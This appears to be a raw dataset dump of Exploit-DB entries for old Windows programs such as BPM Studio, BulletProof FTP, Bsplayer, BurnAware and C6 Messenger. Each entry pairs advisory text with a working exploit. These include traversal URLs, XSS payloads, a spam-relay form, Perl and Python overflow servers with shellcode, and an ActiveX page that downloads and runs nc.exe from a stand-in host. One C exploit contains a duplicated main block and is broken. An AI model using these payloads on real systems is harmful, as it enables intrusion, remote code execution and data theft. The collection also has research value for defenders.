deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21311
Description: BPM Studio Pro 4.2 - HTTPd Directory Traversal
Type: remote
Platform: windows
Date: 2002-02-27
Author: UNTER

Exploit:
source: https://www.securityfocus.com/bid/4198/info

BPM Studio Pro is a shareware MP3 mixer and player. It runs on Microsoft Windows operating systems. BPM Studio Pro includes a HTTP server for managing the player via a web interface.

The BPM Studio Pro HTTPD does not adequately filter dot-dot-slash (../) sequences from web requests. As a result, it is possible for a remote attacker to break out of wwwroot and browse the filesystem of the host. This may lead to disclosure of sensitive information as the remote attacker may display arbitrary web-readable files.

This is compounded by the fact that webservers on Microsoft Windows systems are normally run with SYSTEM privileges.

This issue reportedly affects BPM Studio Pro 4.2. Earlier versions may also be affected. It also should be noted that the HTTPD implementation is not enabled by default. 


http://BPM-HOST/../../../../autoexec.bat
Exploit-DB #21178
Description: Brian Dorricott MAILTO 1.0.7-9 - Unauthorized Mail Server Use
Type: remote
Platform: windows
Date: 2001-12-11
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/3669/info

MAILTO is a program maintained by Brian Dorricott. It enables web servers to allow forms to be converted into mail messages that can be sent to numerous recipients.

An issue exists in MAILTO which could allow an attacker to send emails through a remote host's server.

Sites that utilize or provide MAILTO are susceptible to this issue, typically their mail server information is published when providing install and usage instructions. This information can allow a user to include the mail server information into an HTML file and submit it via MAILTO. This email will then be delivered to the specified recipient with the appearance of originating from the victim web host.

This problem makes it possible for a user with malicious intentions to socially engineer, mailbomb, or spam from as though it's coming from the victim web host. 

<FORM ACTION="HTTP://WWW.MALWARE.COM/CGI-BIN/MAILTO.EXE" METHOD="POST">
<INPUT TYPE="hidden" NAME="sendto" VALUE=billg@bloatedcorp.com>
<INPUT TYPE="hidden" NAME="email" VALUE="hotsuezzz@xxxxxxrated.com">
<INPUT TYPE="hidden" NAME="server" VALUE="smtp.malware.com">
<INPUT TYPE="hidden" NAME="subject" VALUE="SPAM MONGER">
<INPUT TYPE="hidden" NAME="resulturl" VALUE=http://ww.malware.com>

Name: <INPUT NAME="uname" SIZE=30>
Position: <INPUT NAME="title" SIZE=30>
Company: <INPUT NAME="company" SIZE=30>
E-Mail: <INPUT NAME="email" SIZE=30>
Comments:<TEXTAREA name="comments" ROWS=10 COLS=50 SIZE="10">&lt;/textarea&gt;

Press <INPUT TYPE="submit" VALUE="Submit">
Idiot <INPUT TYPE="HALT !" VALUE="The Above Is A Example Only - The Data Is Fake">
Exploit-DB #30100
Description: British TeleCommunications Consumer Webhelper 2.0.0.7 - Multiple Buffer Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2007-05-29
Author: Will Dormann

Exploit:
source: https://www.securityfocus.com/bid/24219/info

The British Telecommunications Consumer Webhelper ActiveX control is prone to multiple buffer-overflow vulnerabilities because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

Successfully exploiting these issues allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

Versions of British Telecommunications Consumer Webhelper ActiveX Control prior to 2.0.0.8 are vulnerable to these issues. 

<!--

British Telecommunications Consumer Webhelper Multiple Buffer Overflow POC
By Parveen Vashishtha

Desc:
This is just POC.

Tested on Windows XP SP2 English fully patched.

-->

<html>
<object classid=&#039;clsid:EC5A4E7B-02EB-451D-B310-D5F2E0A4D8C3&#039; id=&#039;bt&#039;></object>
<script language=&#039;vbscript&#039;>

var=String(128, "A")

bt.IsICMActive var 

</script></html>
Exploit-DB #21201
Description: BrowseFTP Client 1.62 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2002-01-04
Author: Kanatoko

Exploit:
source: https://www.securityfocus.com/bid/3781/info

BrowseFTP is an ftp client that runs on various Microsoft Windows operating systems.

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a BrowseFTP client user.

This is acheivable when a BrowseFTP user connects to an ftp host, if the FTP server '220' response is of excessive length. The stack-based overflow condition can allow for malicious administrators to execute arbitrary code on (and gain control of) client hosts. It is also possible to crash the client. 

#!/usr/local/bin/perl

#------------------------------------------------------------------------
# Browse FTP exploit( run under inetd )
# written by Kanatoko 
# http://www.jumperz.net/
#------------------------------------------------------------------------
$|=1;

	#egg written by UNYUN (http://www.shadowpenguin.org/)
$egg  = "\xEB\x22\x5B\x53\x32\xE4\x83\xC3\x0B\x88\x23\xB8\x24\x98\x01\x78";
$egg .= "\xFF\xD0\x33\xC0\x50\xB4\x78\xC1\xE0\x10\x33\xDB\x66\xBB\x04\x55";
$egg .= "\x0B\xC3\xFF\xD0\xE8\xD9\xFF\xFF\xFF";
$egg .= "notepad.exe";

	#018DFB20
$ret = "\x20\xFB\x8D\x01";

$buf = "\x90" x 2428;
$buf .= $egg;
$buf .= "A" x 299;
$buf .= $ret;

print "220 $buf\r\n";
Exploit-DB #20819
Description: BRS Webweaver 0.x - FTP Root Full Path Disclosure
Type: remote
Platform: windows
Date: 2001-04-28
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2676/info

BRS WebWeaver is an ftpd and webserver from Blaine Southam.

WebWeaver's FTP component has a flaw which can permit a remote user to learn the physcial path to the FTP service's root directory.

By submitting the FTP command CD argumented by an asterisk character, the attacker can cause an error message to be generated by WebWeaver which includes the path for the ftp root.

Properly exploited, this information could assist a hostile user in carrying out other attacks on the system.

>ftp localhost
Connected to xxxxxxxxxxxx.rh.rit.edu.
220 BRS WebWeaver FTP Server ready.
User (xxxxxxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog.
Password:
230 User jdog logged in.
ftp> cd *
250 CWD command successful. "/*/" is current directory.
ftp> ls
200 Port command successful.
150 Opening data connection for directory list.
c:\windows\desktop\*\*.* not found
226 File sent ok
ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec.
ftp>
Exploit-DB #22838
Description: BRS Webweaver 1.0 - Error Page Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-06-26
Author: Carsten H. Eiram

Exploit:
source: https://www.securityfocus.com/bid/8037/info

BRS WebWeaver is prone to cross-site scripting attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, BRS WebWeaver includes user requests when generating error pages.

Exploitation could permit an attacker to steal cookie-based authentication credentials or launch other attacks.

http://[victim]/<script>alert(document.domain)</script> 

http://[victim]/<script>alert(document.domain)</script>AAA..[196]..AAA
Exploit-DB #23612
Description: BRS Webweaver 1.0.7 - 'ISAPISkeleton.dll' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-01-28
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/9516/info

BRS WebWeaver has been reported prone to a cross-site scripting vulnerability. An attacker may create a malicious link to the vulnerable server that includes embedded HTML and script code. If this link is followed by a victim user, hostile code embedded in the link may be rendered in the user's browser in the context of the server.

Successful exploitation could permit theft of cookie-based authentication credentials or other attacks.

This issue was reported in BRS WebWeaver 1.07. Earlier versions may also be affected. 

http://www.example.com/scripts/ISAPISkeleton.dll?<script>alert("Ooops!")</script>
Exploit-DB #9676
Description: BRS Webweaver 1.33 - '/Scripts' Access Restriction Bypass
Type: remote
Platform: windows
Date: 2009-09-15
Author: Usman Saeed

Exploit:
###########################################################################################
#
#   Name    :   BSR Webweaver Version 1.33 /Scripts access restriction bypass vulnerbility
#   Author  :   Usman Saeed
#   Company :   Xc0re Security Reasearch Group
#   Date    :   15/09/09
#   Homepage :  http://www.xc0re.net
#
###########################################################################################


[*] Download Page : http://www.brswebweaver.com/downloads.html


[*] Attack type : Remote


[*] Patch Status : Unpatched



[*] Description  : In ISAPI/CGI path is [%installdirectory%/scripts] and
through HTTP the alias is [http://[host]/scripts] ,

The access security check is that if the attacker tries to access /scripts
a 404 Error response occurs ! Now to bypass and

check the directory listing [That is if Directory Browsing is allowed in
the server Configuration !] just copy and paste the

exploit url !.

This is the reason this exploit is not called a Directory Listing Exploit !



[*] Exploitation :


        [+] http://127.0.0.1/scripts/%bg%ae%bg%ae/.exe

# milw0rm.com [2009-09-15]
Exploit-DB #36477
Description: Bsplayer 2.68 - HTTP Response Universal
Type: remote
Platform: windows
Date: 2015-03-24
Author: Fady Mohammed Osman

Exploit:
#!/usr/bin/python

''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL.
In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full
address and then used backward jumping to jump to a long jump that eventually land in my shellcode.

Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :)

My twitter: @fady_osman
My youtube: https://www.youtube.com/user/cutehack3r
'''

import socket
import sys
s = socket.socket()         # Create a socket object
if(len(sys.argv) < 3):
  print "[x] Please enter an IP and port to listen to."
  print "[x] " + sys.argv[0] + " ip port"
  exit()
host = sys.argv[1]	    # Ip to listen to.
port = int(sys.argv[2])     # Reserve a port for your service.
s.bind((host, port))        # Bind to the port
print "[*] Listening on port " + str(port)
s.listen(5)                 # Now wait for client connection.
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload first time', addr))
c.recv(1024)
#seh and nseh.
buf =  ""
buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94"
buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01"
buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5"
buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7"
buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f"
buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7"
buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34"
buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80"
buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3"
buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5"
buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5"
buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c"
buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15"
buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c"
buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
buf += "\x8c\xcd\x11\xc2\x37\x12"

jmplong = "\xe9\x85\xe9\xff\xff"
nseh = "\xeb\xf9\x90\x90"
# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"
buflen = len(buf)
response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send(response)
c.close()
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload second time', addr))
c.recv(1024)
c.send(response)
c.close()
s.close()
Exploit-DB #2530
Description: BulletProof FTP Client 2.45 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-10-12
Author: h07

Exploit:
#!/usr/bin/python
# BulletProof FTP (Client) V2.45 0day Buffer Overflow PoC Exploit
# Vendor URL: http://www.bpftp.com/
# Bug discovered by h07 <h07@interia.pl>
# Shellcode type: Windows Execute Command (calc.exe) thx metasploit.com
# Tested on 2000 SP4 Polish
# Details:
#
# buffer = "220 " + ("A" * 4112) + "\r\n"
# 41414141  Pointer to next SEH record
# 41414141  SE handler
##

from socket import *
from struct import pack
from time import sleep

shellcode = (
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

host = "0.0.0.0"
port = 21
LEN = 4104
NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x77585A69       # POP POP RET (2000 SP4 Polish) 

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

buffer = "220 "
buffer += "A" * LEN
buffer += pack("<L", NEXT_SEH_RECORD)
buffer += pack("<L", SE_HANDLER)
buffer += shellcode
buffer += "\r\n"

cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(1)
cl.close()
s.close()

# EoF

# milw0rm.com [2006-10-12]
Exploit-DB #9998
Description: BulletProof FTP Client 2.63 b56 - '.bps' File Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2009-10-07
Author: Rafa De Sousa

Exploit:
/*
BulletProof FTP Client suffer a buffer overflow (SEH).

Tested on BullerProof FTP Client v. 2.63 build 56 (The last one) but may work with older releases as well

Registers:

EAX 00000000
ECX 65646362
EDX 7C9032BC ntdll.7C9032BC
EBX 00000000
ESP 0012F1E0
EBP 0012F200
ESI 00000000
EDI 00000000
EIP 65646362
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -??? FFFF 00FF00FF 00FF00FF
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 000000F3 00F300F3
ST3 empty -??? FFFF 000000F3 00F300F3
ST4 empty -??? FFFF 00F4F4F4 00F4F4F4
ST5 empty 7[PII_REDACTED]722701770e+18
ST6 empty 7[PII_REDACTED]935038410e+18
ST7 empty 7[PII_REDACTED]934372810e+18
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *xpl;
char *str;
char message[]="This is a BulletProof FTP Client Session-File and should not be modified directly.\n";
char trash[]="21\nanything\nbpfdhjomeepehepbflql\nC:\\\n/";

int main(){
    int tam;
    FILE *fp;
    printf("Made by: Rafael Sousa\n");
    printf("Produzido por Rafael Sousa\n");

int main(){
    int tam;
    FILE *fp;
    printf("Made by: Rafael Sousa\n");
    printf("Produzido por Rafael Sousa\n");
    str=(char *)malloc(98*sizeof(char));
    memset(str,'a',93);
    str[93]='b';
    str[94]='c';
    str[95]='d';
    str[96]='e';
    str[97]='\0';
    tam=strlen(str)+strlen(message)+strlen(trash);
    printf("%d\n",tam);
    xpl=(char *)malloc((tam+1)*sizeof(char));
    sprintf(xpl,"%s%s\n%s",message,str,trash);
    fp=fopen("POC.bps","w");
    fputs(xpl,fp);
    fclose(fp);
    free(str);
    free(xpl);
    return(0);
}
Exploit-DB #6548
Description: BurnAware - NMSDVDXU ActiveX Arbitrary File Creation/Execution
Type: remote
Platform: windows
Date: 2008-09-24
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 BurnAware NMSDVDXU ActiveX Control Remote Arbitrary File Creation/Execution
 url: http://www.burnaware.com

 File:   NMSDVDXU.dll <= 1.0.0.13
 CLSID:  {0355854A-7F23-47E2-B7C3-97EE8DD42CD8}
 ProgID: NMSDVDX.DVDEngineX.1
 Descr.: DVDEngineX Class

 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

 myMsinfo is just hexadecimal values of:

 <object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
 <script language='vbscript'>
 compatUI.RunApplication 1, "calc.exe", 1
 </script>
-----------------------------------------------------------------------------
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  myMsinfo = unescape("%3C%6F%62%6A%65%63%74%20%63%6C%61%73%73%69%64%3D") & _
             unescape("%27%63%6C%73%69%64%3A%30%33%35%35%38%35%34%41%2D") & _
             unescape("%37%46%32%33%2D%34%37%45%32%2D%42%37%43%33%2D%39") & _
             unescape("%37%45%45%38%44%44%34%32%43%44%38%27%20%69%64%3D") & _
             unescape("%27%63%6F%6D%70%61%74%55%49%27%3E%3C%2F%6F%62%6A") & _
             unescape("%65%63%74%3E%0D%0A%3C%73%63%72%69%70%74%20%6C%61") & _
             unescape("%6E%67%75%61%67%65%3D%27%76%62%73%63%72%69%70%74") & _
             unescape("%27%3E%0D%0A%63%6F%6D%70%61%74%55%49%2E%52%75%6E") & _
             unescape("%41%70%70%6C%69%63%61%74%69%6F%6E%20%31%2C%20%22") & _
             unescape("%63%61%6C%63%2E%65%78%65%22%2C%20%31%0D%0A%3C%2F") & _
             unescape("%73%63%72%69%70%74%3E")

  test.Initialize True
  test.EnableLog "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm", True
  test.LogMessage myMsinfo

  window.location = "hcp://system/sysinfo/msinfo.htm"
 End Sub
</script>

# milw0rm.com [2008-09-24]
Exploit-DB #24077
Description: Business Objects Crystal Reports 9/10 Web Form Viewer - Directory Traversal
Type: remote
Platform: windows
Date: 2004-05-03
Author: Imperva Application Defense Center

Exploit:
source: https://www.securityfocus.com/bid/10260/info

Crystal Reports and Crystal Enterprise Web Form Viewer is prone to a directory traversal vulnerability. This issue can allow an attacker to retrieve and delete files, allowing for information disclosure and denial of service attacks.

An attacker can exploit this issue by sending directory traversal sequences and requesting a file through a vulnerable parameter of one of the affected modules. 

Microsoft Visual Studio .NET 2003, Outlook 2003 with Business Contact Manager, and Business Solutions CRM 1.2 are also vulnerable to this issue as Microsoft re-distributes Crystal Reports.

http://www.example.com/crystalreportviewers/crystalimagehandler.aspx?dynamicimage=..\..\..\..\..\mydocuments\private\passwords.txt
Exploit-DB #29171
Description: Business Objects Crystal Reports XI Professional - File Handling Buffer Overflow
Type: remote
Platform: windows
Date: 2006-11-23
Author: LSsec.com

Exploit:
source: https://www.securityfocus.com/bid/21261/info

Business Objects Crystal Reports XI Professional is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

An atacker may exploit this issue by enticing a victim user into opening a malicious document file, resulting in the execution of arbitrary code with privileges of the vulnerable application. Failed exploit attemtps will likely result in denial-of-service conditions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29171.rpt
Exploit-DB #5732
Description: C6 Messenger - ActiveX Remote Download and Execute
Type: remote
Platform: windows
Date: 2008-06-03
Author: Nine:Situations:Group

Exploit:
<!--

C6 Messenger Installation Url DownloaderActiveX Control Remote Download
& Execute Exploit

by
Nine:Situations:Group::SnoopyAssault

site: http://retrogod.altervista.org/

"C6 Messenger is an instant messaging program produced by Telecom Italia Group,
specifically by Alice (distribution), Icon Spa (development, design and server)
and Opendoc (graphics). It is the only instant messenger entirely produced in
Italy, is a free program, allows you to chat in real time with friends[..]"

installation urls:
http://c6.community.alice.it/home/index.html
http://c6.community.alice.it/download/c6.html

Whoever accessed the second one with IE to install c6 IM is vulnerable to this
threat. Notice that you can pass also local urls to "propDownloadUrl" property
and bypass Internet zone, no host check is performed.
"propPostDownloadAction" one is used to launch the executable.
A progress bar is shown but you can easily make it not visible.

settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data
IPersist Safe:  Safe for untrusted: caller,data

info:
http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61&meta=&num=100&filter=0
Let me guess, this one is already exploited in the wild...
Thanks Mommy Telecom Italia!!

If you think this poc is useful, please help us to improve our equipment and
donate through the paypal button on our site!

--------------------------------------------------------------------------------
Goodbye rgod-tsid-pah he-ru-ka!
-->
<HTML>
<BODY>
<OBJECT ID="DownloaderActiveX1"
WIDTH="0"
HEIGHT="0"
CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"
CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">
<PARAM NAME="propProgressBackground"  VALUE="#bccee8">
<PARAM NAME="propTextBackground"  VALUE="#f7f8fc">
<PARAM NAME="propBarColor"  VALUE="#df0203">
<PARAM NAME="propTextColor"  VALUE="#000000">
<PARAM NAME="propWidth"  VALUE="0">
<PARAM NAME="propHeight"  VALUE="0">
<PARAM NAME="propDownloadUrl"  VALUE="http://yoursite.com/nc.exe"><!-- change to your favourite kit ! :) -->
<PARAM NAME="propPostDownloadAction"  VALUE="run"> <!-- lol -->
<PARAM NAME="propInstallCompleteUrl"  VALUE="">
<PARAM NAME="propBrowserRedirectUrl"  VALUE="">
<PARAM NAME="propVerbose"  VALUE="0">
<PARAM NAME="propInterrupt"  VALUE="0">
</OBJECT>
</BODY>
</HTML>

# milw0rm.com [2008-06-03]